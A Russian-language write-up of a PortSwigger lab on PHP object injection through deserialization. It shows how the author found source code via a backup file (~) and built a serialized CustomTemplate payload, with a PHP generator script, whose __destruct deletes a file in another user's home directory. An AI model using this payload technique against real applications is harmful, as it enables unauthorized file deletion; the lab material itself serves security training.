На странице
apsyleg1 мин
#portswigger #deserialization #web-security

Внедрение произвольного объекта в PHP

Лаборатория

Arbitrary object injection in PHP · Practitioner

Решение

Дано

This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos's home directory. You will need to obtain source code access to solve this lab.

You can log in to your own account using the following credentials: wiener:peter

Анализ задания

Надо как-то добыть исходный код и понять, как сделать инжект своего объекта в сериализованную строку сессии, чтобы удалить файл morale.txt из домашней директории Карлоса.

Как вариант можем попробовать вызвать ошибку десериализации — может, там попадутся какие-то пути для PHP-файлов, и сможем попробовать потыкать стандартные расширения backup-файлов.

Разведка

Дадим нагрузку:

O:4:"User":2:{s:8:"username";s:6:"wiener1";s:12:"access_token";s:32:"f9z2j58k0jl5lj2j3g3o9e66qz7m8rk8";}

Это стриггерит ошибку:

Internal Server Error

PHP Fatal error: Uncaught Exception: unserialize() failed in /var/www/index.php:5 Stack trace: #0 {main} thrown in /var/www/index.php on line 5

Ага, есть файл index.php. Проверим его доступность:

https://<lab-id>.web-security-academy.net/index.php
Not found

Тупиковый путь. Посмотрим исходный код страницы. В конце попался коммент:

<!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->

Пробуем:

https://<lab-id>.web-security-academy.net/libs/CustomTemplate.php

200, ответ пуст — это хорошо. Теперь попробуем стандартные бэкап-расширения:

GET /libs/CustomTemplate.php~ HTTP/2

Добыли исходный код:

<?php

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }

    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}

?>

Эксплуатация

Что видим? Есть класс CustomTemplate, и у него есть метод __destruct, который будет автоматически вызван при уничтожении объекта. У класса есть поле lock_file_path. В деструкте видим код, который удаляет лок-файл — и если мы создадим объект со своим полем lock_file_path, сериализуем его и подсунем в куки, на сервере произойдёт десериализация, и в какой-то момент будет вызван __destruct с нашим полем lock_file_path.

В PHP сериализованный объект User выглядит так:

O:4:"User":2:{s:4:"name":s:6:"carlos";s:10:"isLoggedIn":b:1;}

Адаптируем под наши цели:

O:14:"CustomTemplate":1:{s:14:"lock_file_path":s:23:"/home/carlos/morale.txt";}

Закодируем в Base64, положим в куки:

Internal Server Error

PHP Fatal error: Uncaught Exception: unserialize() failed in /var/www/index.php:5 Stack trace: #0 {main} thrown in /var/www/index.php on line 5

Чот не то с синтаксисом. А может, сделаем ход конём? В Кали оказывается есть PHP. И можно накидать просто скрипт, который нам сгенерит сериализованную строку, и не будем вручную чекать синтаксис.

Примерный код:

<?php
class CustomTemplate {
    private $lock_file_path = '/home/carlos/morale.txt';
}
echo base64_encode(serialize(new CustomTemplate()));

Запустим скрипт на выполнение. Нагрузка:

TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MzA6IgBDdXN0b21UZW1wbGF0ZQBsb2NrX2ZpbGVfcGF0aCI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=

Ура! Лаба решена.